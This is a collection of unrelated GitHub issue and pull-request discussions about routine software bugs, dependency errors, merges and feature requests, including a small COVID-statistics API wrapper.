Added a minTime and maxTime parameter to the DateTimePicker

I think this is essential to the date-time picker @kevinsallee.
Perhaps the date-only picker should receive a similar update. I believe it should look more similar to the date-time picker than the current one.
This can likely be achieved by duplicating your commit and simply removing the time-related code.
Current:

slightly confusing

Proposed:

simpler design (at least option to choose between old/new mode)

Thanks,
Kevin

The model picked always has three columns, and it should be easily adaptable to the date picker. But the change your asking for is bigger since it's not z three column model. It's a one column model which would be easily implementable but it's beyond the scope of this request

The model picked always has three columns, and it should be easily adaptable to the date picker. But the change your asking for is bigger since it's not z three column model. It's a one column model which would be easily implementable but it's beyond the scope of this request

I understand, and also single column is likely wrong thing to do. Will see if I can create a separate PR to sort out the format.

Great job! @kevinsallee
Can this get merged into the master branch?

@thorbenPollack I wish but I can't.  Only those with write access can.

As I mentioned before, (maxTime.day - minTime.day) cannot generate all the days, if maxTime and minTime are in different year. and it will cause bug

hi, your PR has side effect, I've added minTime / maxTime for date time picker as an optional parameter, please have a try. still thanks for your PR


Bookstore Milestone: Styling

For this Milestone I:
✅ Used GitFlow
✅ Used linters
✅ Set up a React App
✅ Used React components
✅ Used React props
✅ Used React state
✅ Handled events in a React app
✅ Used React Router
✅ Understood the concept of state management
✅ Used store, actions, and reducers in React
✅ Setup a Redux store
✅ Created a slice to save state and reducers
✅ Connected React and Redux
✅ Connected an existing API via Redux and use the data to display something in a UI
✅ Applied styling

Hi there @abdulhamiid.  I need a code reviewer, please could you take it?

Hi @Favourezeugwa, thank you so much for your feedback! 🤩


check if able to default import modules

Does not seem to be able to perform default imports for all components


[FLINK-6155] Introduce an endpoint id for RpcEndpoints

An endpoint id allows to assign a unique name to a RpcEndpoint. This name can be used
to look up the rpc endpoint within the RpcService. In the case of the AkkaRpcService implementation, it corresponds to the actor name used for the AkkaRpcActor.
Remove component endpoint name methods from the HighAvailabilityServices.

Rebasing on the latest master.

Travis passed. Rebasing on the latest master. If travis passes again, then I will merge this PR.

Good changes!
I think we could actually drop the explicit endpoint name from the TaskExecutor and always let it use a random name (as is the default when no explicit name is given). That would simplify the code a bit and it should work since the connection is always established by the TaskExecutor towards the ResourceManager and JobManager, but never the the other way around.

Thanks for the review @StephanEwen. You're right that it should not be necessary to assign a name to the TaskExecutor and the ResourceManager. Will change it so that these components assign a random name.
Will then rebase the PR and once Travis gives green light, I will merge it.

I think I have to correct myself. In the general case, there might be the need to connect from the dispatcher component to ResourceManager. If the ResourceManager runs in a different process in standalone mode, then we have to be able to configure a fixed endpoint name, I think.

Failing test case has just been fixed. Merging this PR.


chore(release): Merge hotfix_6.2.1@c69fe0069 into edge

Overview
This PR merges the first handful of commits from the hotfix_6.2.1 branch into edge. We're going incrementally; the remaining commits will be merged with separate follow-up PRs.
Changelog
This first merge involves two manual resolutions:
robot-server/robot_server/persistence/legacy_pickle.py

On edge, PR #11606 added LabwareMovementStrategy to the _legacy_ot_types list.
On hotfix_6.2.1, PR #11615 moved the _legacy_ot_types list from a global variable to a function.
My resolution is to keep the function and make sure it contains the LabwareMovementStrategy addition.

app/src/organisms/Devices/tests/RobotOverviewOverflowMenu.test.tsx

On edge, PRs #11577, #11656, and #11909 touched this test file.
On hotfix_6.2.1, PR #11892 touched this same test file to support a change in production behavior.
Resolved with @brenthagen.

Test plan:

[ ] Smoke-test this by running a dev server and a dev app.
[ ] Look closely to make sure all CI jobs are passing.

Code review requests

JS people: does the new RobotOverviewOverflowMenu.test.tsx look correct?
Python people: does the new legacy_pickle.py look correct?

Risk assessment
Low. This is a big diff, but nearly all of it has already been reviewed and tested. We just need to make sure the manual merge resolutions are correct, and smoke-test to make sure there were no botched auto-merges elsewhere.

Reminder to self to not click the GitHub "Squash and merge" button. This needs to be a normal merge into edge to properly link up the commit DAG.


updating metadata base

There are some bugs with how base deals with attributes being other Base classes.

Codecov Report

Merging #79 (a85679e) into main (3f0101a) will decrease coverage by 0.21%.
The diff coverage is 88.23%.

@@            Coverage Diff             @@
##             main      #79      +/-   ##
==========================================
- Coverage   76.19%   75.97%   -0.22%
==========================================
  Files         223      223
  Lines       13911    13688     -223
==========================================
- Hits        10600    10400     -200
+ Misses       3311     3288      -23

Impacted Files
Coverage Δ

mt_metadata/timeseries/battery.py
100.00% <ø> (ø)

mt_metadata/timeseries/copyright.py
81.81% <ø> (ø)

mt_metadata/timeseries/data_logger.py
100.00% <ø> (ø)

mt_metadata/timeseries/data_quality.py
100.00% <ø> (ø)

mt_metadata/timeseries/declination.py
100.00% <ø> (ø)

mt_metadata/timeseries/diagnostic.py
100.00% <ø> (ø)

mt_metadata/timeseries/electric.py
100.00% <ø> (ø)

mt_metadata/timeseries/electrode.py
100.00% <ø> (ø)

mt_metadata/timeseries/fdsn.py
100.00% <ø> (ø)

mt_metadata/timeseries/instrument.py
100.00% <ø> (ø)

... and 62 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3f0101a...a85679e. Read the comment docs.


Tent space

How many tents do we have? How many do we need?

I have a two-person tent, so I have space for one extra person

I also have a two-person tent and will have room for an extra person if needed!


add nodepool webhook unit test

What type of PR is this?

Uncomment only one  /kind <> line, hit enter to put that in a new line, and remove leading whitespace from that line:
/kind bug
/kind documentation
/kind enhancement
/kind good-first-issue
/kind feature
/kind question
/kind design
/sig ai
/sig iot
/sig network
/sig storage
/sig storage

What this PR does / why we need it:
add np webhook unit test & complement np controller test
Which issue(s) this PR fixes:

Fixes #
https://github.com/openyurtio/yurt-app-manager/issues/73
Special notes for your reviewer:

Does this PR introduce a user-facing change?

other Note

/assign @rambohe-ch

/lgtm
/approve

@luc99hen it's better rebase master


QuickInfo doesn't appear until file is modified

There's probably a better way to describe this but I've noticed when I first open Oni, the QuickInfo doesn't appear at all.  Yet if I make some modification to the file, QuickInfo suddenly starts working.  Just entering insert mode isn't enough, I actually have to make a change.
In my example below, QuickInfo doesn't work.  I then hit o to open a new line, exit insert mode, and suddenly QuickInfo is working.

Interesting... It looks like somehow the typescript plugin isn't being fully initialized until a change is being made. It also seems like the syntax highlighting from the plugin isn't working.
Do you know what version of typescript is installed? You can check in node_modules/typescript/package.json. It might be worth bumping that to the latest, just to rule out a typescript version issue.
You can also debug the typescript plugin by changing the debugging: false line (line 13) in vim\core\oni-plugin-typescript\package.json to debugging: true. With that change, when the plugin initializes, it'll pop open a debugger window. I wonder if there is a script error or something there.
Unfortunately, I'm not able to reproduce this on my build (on either Win10 or Linux) - which OS are you on?

This is on Linux.  I'm using typescript 2.1.4.  Setting debugging: true didn't help.  I've been looking at the console output and I don't see anything special.  No change in console output before and after modifying the file either.

I think I am seeing something similiar now - I don't get any highlighting, etc, until I move around the file. Need to investigate the plugin lifecycle and see if it was waiting for a specific event from Vim before it kicks off the integration.

Update for this defect, even though no one else seems to be seeing it...
In PluginManager.ts, line 172 says:
if (!pluginResponse.error) {

If there is no error, display QuickInfo.  If there is an error, hide the QuickInfo (no-op).  It seems prior to editing the file, pluginResponse.error exists.  Unfortunately, it's an empty object {} so it doesn't really help me with troubleshooting.  Also, pluginResponse doesn't have a payload object so there'd be nothing to display even if I wanted to.  After editing the file, pluginResponse does not have an error object at all and it has a payload object with the contents of the QuickInfo.

Here are the raw events by the way.
Empty error object:
cross-browser-ipc: {"error":{},"meta":{"destinationId":1,"originEvent":{"bufferFullPath":"/home/kforbes/Documents/oni/main.js","bufferNumber":1,"bufferTotalLines":169,"byte":208,"column":1,"filetype":"javascript","line":6,"version":3,"wincol":5,"windowBottomLine":33,"windowNumber":1,"windowTopLine":1,"winline":6},"senderId":5},"type":"show-quick-info"}
Payload defined:
cross-browser-ipc: {"meta":{"destinationId":1,"originEvent":{"bufferFullPath":"/home/kforbes/Documents/oni/main.js","bufferNumber":1,"bufferTotalLines":170,"byte":214,"column":7,"filetype":"javascript","line":6,"version":4,"wincol":11,"windowBottomLine":33,"windowNumber":1,"windowTopLine":1,"winline":6},"senderId":5},"payload":{"documentation":"","info":"const os: typeof \"os\""},"type":"show-quick-info"}

Thanks for the update, @keforbes ! I actually do see this too. It looks like I don't need to modify the file - just moving around gets the quick info / highlighting to kick in. I believe the reason I was not seeing this was because I was habitually pressing j when opening a file :) This on my list to look at - the info you gave is helpful.

Another update.  I just tried this again and now there's only a minor difference in behavior.  If I open a file with Fuzzy Finder or File -> Open, everything works fine.  If I open a file by providing the filename on the command-line, the QuickInfo works fine but the imported packages don't get syntax highlighted.  I can't find any feature that isn't working, it's just that if I open a file with Fuzzy Finder the imports turn blue yet if I provide a filename on the command-line the imports stay the normal text color.
oni browser/src/NeovimInstance.ts

oni <Ctrl-P> NeovimInstance.ts

As far as I can tell, this is now just a minor visual oddity.  I'll close this issue and if I find a difference in behavior I'll file a new issue.


Any ideas for use in colorbox?

I want to popup a window with jquery.colorbox, but it seem doesn't work, for example, i have an controller and action as below:
ASP.NET controller:  Settings
ASP.NET action:  Create
requireJS action:  create.js
and open this action in colorbox, but it will not execute the create.js at this time, but if i use the iframe mode in colorbox, it will be work fine, but i don't want to use iframe , because the layout will be difference to handle , so have any ideas?
thanks!

Oh, I have solved the problem, because this is a same page with current page, so I should need to do the js logic in onComplete event of the colorbox


Training on colab got error from backend.py

Recently I re run the tutorial https://medium.com/deepquestai/train-object-detection-ai-with-6-lines-of-code-6d087063f6ff on colab.
This time i got error as follow.
`ImportError                               Traceback (most recent call last)
 in ()
----> 1 from imageai.Detection.Custom import DetectionModelTrainer
2
3 trainer = DetectionModelTrainer()
4 trainer.setModelTypeAsYOLOv3()
5 trainer.setDataDirectory(data_directory="hololens")
4 frames
/usr/local/lib/python3.7/dist-packages/keras/backend.py in ()
35 from tensorflow.python.distribute import distribute_coordinator as dc
36 from tensorflow.python.distribute import distribute_coordinator_context as dc_context
---> 37 from tensorflow.python.eager.context import get_config
38 from tensorflow.python.framework import config
39 from keras import backend_config
ImportError: cannot import name 'get_config' from 'tensorflow.python.eager.context' (/usr/local/lib/python3.7/dist-packages/tensorflow/python/eager/context.py)
`

I am also getting the same error, any help ?

You have to change the tensorflow version to at least 2.4.0 then it will work
Bc image ai updated the tensorflow version it runs with

I got this, it looks fine after installing
tensorflow==2.5.0rc0
keras==2.5.0rc0
you may also try
tensorflow==2.4.0
keras==2.5.0rc0

I got this, it looks fine after installing
tensorflow==2.5.0rc0
keras==2.5.0rc0
you may also try
tensorflow==2.4.0
keras==2.5.0rc0

Like is said @jkcg-learning

Thaks all, now it is fine.

Thanks all, it is fine now.


FiligreeDashboard size constraint not working

In Specifying_Meshes.ipynb in the FiligreeDashboard, when you add points to mesh and specify the 'size' via the table, and then update_mesh, the size doesn't appear to have an effect. I think that the update mesh function isn't reading the size from the table like it should.

Works fine when I try it, could this simply be related to https://github.com/pyviz/EarthSim/issues/29?

Yes, that's the issue. It works with a size of 2000.
But this brings up a good point. I want that lat/lon in the table to be displayed in Plate Carree, but I want size to be displayed in Mercator or something cartesian.

Closing since this is an external package issue that is being addressed elsewhere.


feat(Dropdown): add 'closeOnEscape' prop (#3622)

Fixes #3622.

Codecov Report

Merging #3632 into master will increase coverage by <.01%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master    #3632      +/-   ##
==========================================
+ Coverage   99.81%   99.81%   +<.01%
==========================================
  Files         174      174
  Lines        2745     2747       +2
==========================================
+ Hits         2740     2742       +2
  Misses          5        5

Impacted Files
Coverage Δ

src/modules/Dropdown/Dropdown.js
100% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5ae8576...24a4a67. Read the comment docs.


adicionando todas as features de notificacao

O pullrequest acima encerra as issues #20, #21, #22, e #23 do repositório https://github.com/wrnx/teachingassistant/projects/1


List are empty

So i tried to follow moor documentation about Group by with slight modification that suits my scenario (i only change get() with watch() for reactive purpose) but somehow the List<TypedResult> that returned by StreamBuilder() are empty. I didn't have any idea why this happened. Well this is my code:
 Stream<List<TypedResult>> watchFolderWithCount() {
    /// notes is your usual table that basically store note id and folder id
    /// for simple example purpose
    final notesCount = notes.id.count();

   /// folderNote is your usual table that basically store folder id and folder name
   /// for simple example purpose
    final query = select(folderNote).join([
      innerJoin(
        notes,
        notes.folderID.equalsExp(folderNote.id),
        useColumns: false
      )
    ]);

    query
      ..addColumns([notesCount])
      ..groupBy([folderNote.id]);

    /// i replace get() with watch() for reactive purpose
    final result = query.watch();

    return result;
  }

Hm, your code looks alright to me though. I assume it also returns an empty list if you use get()? Is there an error reported through snapshot.error in the StreamBuilder?

i'm sorry, my bad. Join query is actually works, it just didn't work as i expected but nonetheless it's perfectly works after some modification in my query. Thanks for your fast respond and thank for your great works @simolus3.
I'll close this issue.


Raise when starting sandbox with DBConnection.Sojourn pool

DBConnection.Sojourn doesn't play nicely with the sandbox and will be unreliable as checkout (begin) occurs before queuing and checkin may (rollback) may not occur between ownership checkouts.

Awesome @fishcakez, thank you! :)


Add notes about the need to build monorepo before running examples

Related: https://github.com/dethcrypto/TypeChain/issues/510

nit: I'd personally put this below "## Running", but it's fine.


Packages failing on install when syncing with 1.3.3+

Hello,
Ever since updating to 1.3.3, packages sometimes do not get uploaded correctly, and end up failing while installing. Some package logs from Jamf:
Executing Policy Google Drive Main
--
Downloading GoogleDrive-99.0.0.pkg...
Downloading https://server.com/tobias/Packages/GoogleDrive-99.0.0.pkg...
Verifying package integrity...
Installation failed. The package could not be verified.
Retrying using distribution point Cloud Distribution Point...
Downloading GoogleDrive-99.0.0.pkg...
Downloading https://server.com:8443/jcds/downloads/GoogleDrive-99.0.0.pkg...
Verifying package integrity...
Installing GoogleDrive-99.0.0.pkg...
Installation failed. The installer reported: installer: Package name is Google Driveinstaller: Certificate used to sign package is not trusted. Use -allowUntrusted to override.
Running command defaults write /Library/Preferences/com.google.drivefs.settings EnableSMB -bool true...
Result of command:

Executing Policy Loom AS Main
--
Downloading Loom-arm64-0.260.0.pkg...
Downloading https://server.com/tobias/Packages/Loom-arm64-0.260.0.pkg...
Verifying package integrity...
Installation failed. The package could not be verified.
Retrying using distribution point Cloud Distribution Point...
Downloading Loom-arm64-0.260.0.pkg...
Downloading https://server:8443/jcds/downloads/Loom-arm64-0.260.0.pkg...
Verifying package integrity...
Installing Loom-arm64-0.260.0.pkg...
Installation failed. The installer reported: installer: Package name is Loom-arm64-0.260.0installer: Upgrading at base path / installer: The upgrade failed. (The Installer encountered an error that caused the installation to fail. Contact the software manufacturer for assistance. An error occurred while extracting files from the package “Loom-arm64-0.260.0.pkg”.)

Once I go back to 1.3.2, the packages upload and install without issue. I've been having to use 1.3.2 for daily use and then switch to 1.4.0 for larger files. This doesn't happen all the time either, just certain packages do this.

Oh that's unfortunate! “The package could not be verified” might be because you uploaded a package to the JCDS with Jamf Sync, which would update the checksum in Jamf Pro, but if you didn’t also update the google drive, then it would fail with that error when it tries to get it from that DP. The "Certificate used to sign package is not trusted" could be that the upload or download was missing something so that the signature didn't match what is expected. Could you create a new Folder DP and synchronize the problematic files to that and then compare the sizes of those vs. the original working packages and see if there is a difference in the file sizes? If they are the same size, try going into terminal and do md5 path/filename for each of them and see if those are different. If everything is the same, then try manually installing the original package and make sure that's still good. Let me know what you find out. Thanks!

Hello,
Same MD5 hash when making a new folder and syncing.
I am not sure where the disconnect is, since like I said, 1.3.2 works great and never does this. When this first happened on 1.3.3, I also deleted the package from Jamf and re-synced the exact same package with 1.3.3, and it worked after that.
When Jamf is trying to install the package from my DP, that is verifying it's the same hash as it has for the record, correct? When "Verifying package integrity..." is running?
Next time I have a new package to upload, I will try with 1.4.0 and take a screen recording of everything, since by all logic, it should work without issue especially since it synced to my test folder.

Regarding "Verifying package integrity...", when the same package is on multiple distribution points, there is only one package record in Jamf Pro. The jamf binary will download the file from the distribution point and then create the hash on the file that was downloaded and compare it with the hash that's stored in the package record. That way if a distribution point is somehow compromised, it won't install anything that it's not expecting. But if you have a different version of that package that was uploaded to one distribution point but not another, then it would refuse to install a package from the DP that wasn't updated.
I'm not sure what the disconnect between 1.3.3 and 1.3.2 is either, however, we did change the process for uploading to a JCDS distribution point in order to be able to upload > 5GB files, so it's possible there is some edge case where it can fail. However, I would expect that when you synchronize a failed upload to a local folder, the size and for sure the MD5 should be different than the original. You could also try manually installing it too. If the MD5 is the same as the original and it manually installs fine but it cannot be installed by a policy, then that seems very odd. If the MD5 is different, I would need to know if the size is also different because that could potentially help pin down the problem.

Hi Harry,
I have a video ready showing my process of uploading with 1.4.0 and it failing to install from my DP, but installing from the Cloud, which I haven't seen before. It may have some identifying details on it, can I share it with you on an email or slack? I believe I see your user on Mac Admins.


Youtube Unable to extract uploader id

Checklist

[x] I'm reporting a broken site support
[x] I've verified that I'm running youtube-dl version 2021.12.17
[x] I've checked that all provided URLs are alive and playable in a browser
[x] I've checked that all URLs and arguments with special characters are properly quoted or escaped
[x] I've searched the bugtracker for similar issues including closed ones

Verbose log
[debug] System config: []
[debug] User config: []
[debug] Custom config: []
[debug] Command-line args: ['-x', '--audio-format', 'mp3', '--verbose', 'https://www.youtube.com/watch?v=r9e1QZhs2Vw']
[debug] Encodings: locale cp65001, fs mbcs, out cp65001, pref cp65001
[debug] youtube-dl version 2021.12.17
[debug] Python version 3.4.4 (CPython) - Windows-10-10.0.19041
[debug] exe versions: ffmpeg 4.3.2-2021-02-27-full_build-www.gyan.dev, ffprobe 4.3.2-2021-02-27-full_build-www.gyan.dev
[debug] Proxy map: {}
[youtube] r9e1QZhs2Vw: Downloading webpage
ERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
Traceback (most recent call last):
File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpupik7c6w\build\youtube_dl\YoutubeDL.py", line 815, in wrapper
File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpupik7c6w\build\youtube_dl\YoutubeDL.py", line 836, in __extract_info
File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpupik7c6w\build\youtube_dl\extractor\common.py", line 534, in extract
File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpupik7c6w\build\youtube_dl\extractor\youtube.py", line 1794, in _real_extract
File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpupik7c6w\build\youtube_dl\extractor\common.py", line 1012, in _search_regex
youtube_dl.utils.RegexNotFoundError: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.

Description
Youtube : Unable to extract uploader id

Getting the same thing!

[x] I've searched the bugtracker for similar bug reports including closed ones

Learn how by reading #30839 (again?).


‘?’ hyperlink in the Ownership tab pointing to invalid URL

Describe the bug
"?" points to an invalid url, https://iwww.corp.linkedin.com/wiki/cf/display/DWH/Metadata+Acquisition#ProjectOverview-ownership
To Reproduce
Steps to reproduce the behavior:

Go to 'Ownership tab.'
Click on '?'
See error

Expected behavior
Fix the hyperlink with the correct url.
Screenshots

This might be a duplicate.

This might be a duplicate.

Closing as we will not be fixing issues in the Ember frontend going forward.


Ensemble Information 2nd column shows previous value

In case you
a) listen to a station (here: PRVI on 10D = SLO DAB+ R1)
b) change the DAB channel via dropdown menu (here I switched to 12C = SLO DAB+ R2W)
c) but not select a service
d) go to the Ensemble Information window
then you see values in the 2nd column (service, service ID, CUs, etc.) from step a) and in the main window a) is highlighted, but not selected.

I suggest to display N/A in such a case.

Strange, it does not happen to me using development version on macOS. When you do the steps you describe, service information is cleared.
Did you build from devel branch or is 2.5.0?

Yes, the right column should be cleared/reset when open the window. I need to reset the values as they ALWAYS show errors, even with local signals.
Let me test with a more recent version, but I remember this is the same behavior for several versions ...

Yes, I did not touch this functionality for a long time. My screenshot was from development branch I built yesterday and some problem is there too.
I think reseting the stats on opening of the dialog is not desired behavior. With good quality signals there should be only few FIC errors, if it is not the case, there might be some other issue. I will check that too.

I checked which version I'm using: it's 1229b8a18fb7afd9f6fe91885f9e0977506c816e
Unfortunately (due to the Qplot issues I had in the past), I can no longer build AbracaDABra. Will reinstall my laptop with Ubuntu 24.04 soon.

I've downloaded the 2.5.0 release AppImage, same behavior.

I checked which version I'm using: it's 1229b8a
Unfortunately (due to the Qplot issues I had in the past), I can no longer build AbracaDABra. Will reinstall my laptop with Ubuntu 24.04 soon.

I thought the build issue was already resolved in #130 and you were able to build it and run. Please describe your current problems in reply to #130

Well, I thought I had success with your hints, but this is the output:
cmake .. -DUSE_SYSTEM_QCUSTOMPLOT=OFF -DCMAKE_PREFIX_PATH=~/Qt/6.7.0/gcc_64/lib/cmake/

-- Could NOT find Qt6Positioning (missing: Qt6Positioning_DIR)
CMake Error at CMakeLists.txt:512 (find_package):
  Found package configuration file:

    /home/andreas/Qt/6.7.0/gcc_64/lib/cmake/Qt6/Qt6Config.cmake

  but it set Qt6_FOUND to FALSE so package "Qt6" is considered to be NOT
  FOUND.  Reason given by package:

  Failed to find required Qt component "Positioning".

  Expected Config file at
  "/home/andreas/Qt/6.7.0/gcc_64/lib/cmake/Qt6Positioning/Qt6PositioningConfig.cmake"
  does NOT exist

  Configuring with -DCMAKE_FIND_DEBUG_MODE=TRUE might reveal details why the
  package was not found.

  Configuring with -DQT_DEBUG_FIND_PACKAGE=ON will print the values of some
  of the path variables that find_package uses to try and find the package.

I cannot reproduce the issue with service label, etc. in second column. I have tried on macOS and on Arch Linux and it does not happen.

I will rebuild latest commit and let you know.

Issue is solved now :-)
Thanks!

The bug is still alive in 2.5.92 appImage

Well, actually it was never fixed because I could not reproduce it. But I can reproduce it now :-) The key is that the channel you manually tune to without service selection must contain valid ensemble. I think I know where is the problem, it will be fixed in next release.


Add more annotation customizations

For this change, do you also want to update the pom version for the customization library as this needs to be released to Maven.

For this change, do you also want to update the pom version for the customization library as this needs to be released to Maven.

I have another small fix coming - I'll bump the pom version there.

I have another small fix coming - I'll bump the pom version there.


Nice to have: "Open in secondary panel" button

Is your feature request related to a problem?
No problema at all. I would like it, I can live without it :)
Describe the solution
If you select a folder in the primary (left) tab, should be nice to have a "=>" button that makes exactly what the menu "Open in secondary panel" does. I think this is one of the most useful features and having a shortcut would save time.
Describe alternatives you've considered
Continuing with right click menu
Additional comment
Using Files on Windows 10. Love it, I think is a bit slow (compared to standard file browser), better performance would be highly appreciated. Thank you a lot for your job guys! - Pier

@pierpa63 Are you looking to open the directory in the already open pane or are you looking to open the directory in a new pane altogether?

@yaichenbaum I'm looking to open the directory in the already open pane.
Thank you!

@pierpa63 Any idea how this would work when we add support for opening multiple panes?

@yaichenbaum Just a guess... open in the first one. How are you planning to support multiple panes?

@pierpa63 It'll work similar to Terminal where you can spin up as many panes as you want. What you're looking for might be better with #147.

@yaichenbaum ok understood. Normally i browse i deep tree so multiple panes will crowd the window too much for me. In any case let the community decide! :) Thank you so much for you support.

@pierpa63 Do you think you'd be better off with the column view we're working on?

Closing due to inactivity.


WIP POC: Use separate loops for watchdog and peer healthcheck...

... instead of the reconcile function.
Status:

done: watchdog
done: peers updates
done: move error handling to peers, used by peers update and reconcile

Todo: update and extend tests

Thx for the review @n1r1 👍🏼  All issues addressed. Will go on with the other loop tomorrow.

added new peers struct with its own update loop
moved error handling to the peers struct for itself and for the reconcile func

tests will fail, they need to be updated and extended


Developers can use a package manager to fetch/update Previews from a feed instead of manually

[ ] https://github.com/dotnet/runtime/issues/3324

I don't think it makes sense to move this content to Learn since it isn't intended as the primary way to install packages once .NET 9 goes GA. Release notes are intended for folks that have the motivation and interest to read them. You found them and now have the information. Sorry for not realizing that this was a solution to your problem.
If @adegeo feels differently, that's fine with me.

I don't think it makes sense to move this content to Learn since it isn't intended as the primary way to install packages once .NET 9 goes GA. Release notes are intended for folks that have the motivation and interest to read them. You found them and now have the information. Sorry for not realizing that this was a solution to your problem.

I hear you, but my main objection to this is that the release notes do mention a way to install the preview packages for Linux. That "way" is much less optimal for some people (like me) because it means that you get a dotnet binary which is "isolated" from all your other .NET SDKs. Good sometimes (because as mentioned elsewhere, the dotnet binary from the .NET Preview can cause breakage with existing SDK installations) but the thing I found really annoying about it was that I could no longer run dotnet test (with the "isolated preview" binary) for my .NET 8 projects - because the isolated preview is indeed isolated and failed to find the other .NET SDKs. No screenshot/log for this since I unfortunately already removed the files from my system but I'm sure you know what I'm talking about.
With the link from the release notes, I get a .NET 9 Preview which is much more "integrated" with my system, for better and worse.
Short version: both these ways of installing the .NET Preview are valid and deserves to be mentioned. The way the Learn text is written now gives the pretension that "these are (all) the ways you can install the preview" when this is not the case. That's my objection to it.

Adding @ashnaga

I think it would be proper to have a general "Install a .NET Preview" doc page instead of merging this info into the main install articles. Thoughts on that?

Like the idea to keep it as separate doc page as not all ways of install and update will be applicable to previews.

Works for me. :+1: Ideally, the page at https://learn.microsoft.com/en-us/dotnet/core/install/linux-debian#install-preview-versions would then link to the new "Install a .NET Preview", which can be maintained separately (and more accurately describe various ways to install the previews on Linux).


rename build script, use node version 18

:tada: This PR is included in version 2.3.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Update injection of less regexp

Update injection of less regexp tp work in<EMAIL_ADDRESS>Since they changed the way it works, you need to extend the object insted just replacing the value,

I added an example for Next 13.3.1 https://github.com/elado/next-with-less/tree/main/examples/next13.3.1 and it works. Can you elaborate on what's broken?

It throws error - Failed to load next.config.mjs, see more info here https://nextjs.org/docs/messages/next-config-error TypeError: Cannot set property regexLikeCss of #<Object> which has only a getter in the 13.3.1 release

I added an example for Next 13.3.1 https://github.com/elado/next-with-less/tree/main/examples/next13.3.1 and it works. Can you elaborate on what's broken?

HI!
I just tried your examples, and it does work in this case.
But if you try to use your package as an installed one from npm, but nut from ../../src, it will fail with the error I provieded.
Please check it.

@elado Please take a look at this.

I've made some experiments here. Found it hard to set the value.
In next 13 it export that value  here
And after Webpack compiles this module, that value is exported as a Get-Only property. Which is impossible to redefine.
Quite frustrating. I guess better make NextJS enable its customization by creating PRs.

Some idea: https://github.com/vercel/next.js/discussions/49665

Hi all. I was able to repro this but unfortunately couldn't find a proper solution yet.
This PR is not fixing it - obj = { ...obj, prop: 'val' } doesn't mutate the object, but the intention is to mutate.
Closing this PR and we can continue the discussion here: https://github.com/elado/next-with-less/issues/34


new version with all endpoints and filters

First thanks for your work.
I made a more complete version with more endpoints and filters, but I don't know how to update (I think that is an issue with the branch permissions ) and I let here to you, if like this, upload the new version.
This is the index.js:
var _ = require('lodash');
/*
  Enjoy the new functions I have created! More coming soon if diced or elite makes useful updates
  - Apollo
*/
module.exports = {
    /**
     * @returns {fetch.Promise<Array.<Object>>|undefined}
     */
    all: async function () {
        // Wait why did you .toString() this function?
        const a = await require('node-fetch')(`https://corona.lmao.ninja/all`);
        return await a.json();
    },
    /**
     *
     * @param {?string} country
     * @returns {fetch.Promise<Array.<Object>>|undefined}
     */
    countries: async function (country) {
        // Wait why did you .toString() this function?
        if (!country) {
            const a = await require('node-fetch')('https://corona.lmao.ninja/countries');
            return await a.json();
        } else if (country) {
            try {
                const a = await require('node-fetch')(`https://corona.lmao.ninja/countries/${country}`);
                return await a.json();
            } catch (e) {
                return {error: 'Country not found'}
            }
        }
    },
    /**
     *
     * @param {?string} state
     * @returns {fetch.Promise<Array.<Object>>|undefined}
     */
    states: async function (state) {
        const a = await require('node-fetch')('https://corona.lmao.ninja/states');
        let data = await a.json();
        return state ? data.find(el => el.state === state) : data;
    },
    /**
     *
     * @param {?Object} filter f.e. {country : "China"}
     * @returns {fetch.Promise<Array.<Object>>|undefined}
     */
    jhucsse: async function (filter) {
        const a = await require('node-fetch')('https://corona.lmao.ninja/jhucsse');
        let data = await a.json();
        if (!filter) return data;

        filter = _.pick(filter, _(data).map(_.keys).thru(_.spread(_.union)).value());
        return _.filter(data, filter);
    }
}

and this is the new package.json
{
  "_from"<EMAIL_ADDRESS>  "_id"<EMAIL_ADDRESS>  "_inBundle": false,
  "_integrity": "sha512-MHQNZ8h6b+2wu+sn7sSEtGTign/tr/SmsyLdc0EQ/dszE342o0Nqv+dAF+c2/VjAgnlSAQJpeDtmH3tvqU4byw==",
  "_location": "/novelcovid",
  "_phantomChildren": {},
  "_requested": {
    "type": "range",
    "registry": true,
    "raw"<EMAIL_ADDRESS>    "name": "novelcovid",
    "escapedName": "novelcovid",
    "rawSpec": "^1.0.5",
    "saveSpec": null,
    "fetchSpec": "^1.0.5"
  },
  "_requiredBy": [
    "#USER",
    "/"
  ],
  "_resolved": "https://registry.npmjs.org/novelcovid/-/novelcovid-1.0.5.tgz",
  "_shasum": "9d8aa156584bc27cf6891c4c8c6bbdf2c3b3b6fa",
  "_spec"<EMAIL_ADDRESS>  "_where": "E:\\wamp64\\www\\alexafiregoretest\\lambda",
  "author": {
    "name": "EliteDaMyth"
  },
  "bugs": {
    "url": "https://github.com/NovelCOVID/node-api/issues"
  },
  "bundleDependencies": false,
  "dependencies": {
    "node-fetch": "^2.6.0",
    "lodash": "^4.17.15"
  },
  "deprecated": false,
  "description": "An Api wrapper to get information about the Novel CoronaVirus.",
  "homepage": "https://github.com/NovelCOVID/node-api#readme",
  "keywords": [
    "coronavirus",
    "wrapper",
    "api"
  ],
  "license": "ISC",
  "main": "index.js",
  "name": "novelcovid",
  "repository": {
    "type": "git",
    "url": "git+https://github.com/NovelCOVID/node-api.git"
  },
  "version": "1.0.5"
}

First thanks for your work.
I made a more complete version with more endpoints and filters, but I don't know how to update (I think that is an issue with the branch permissions ) and I let here to you, if like this, upload the new version.
This is the index.js:

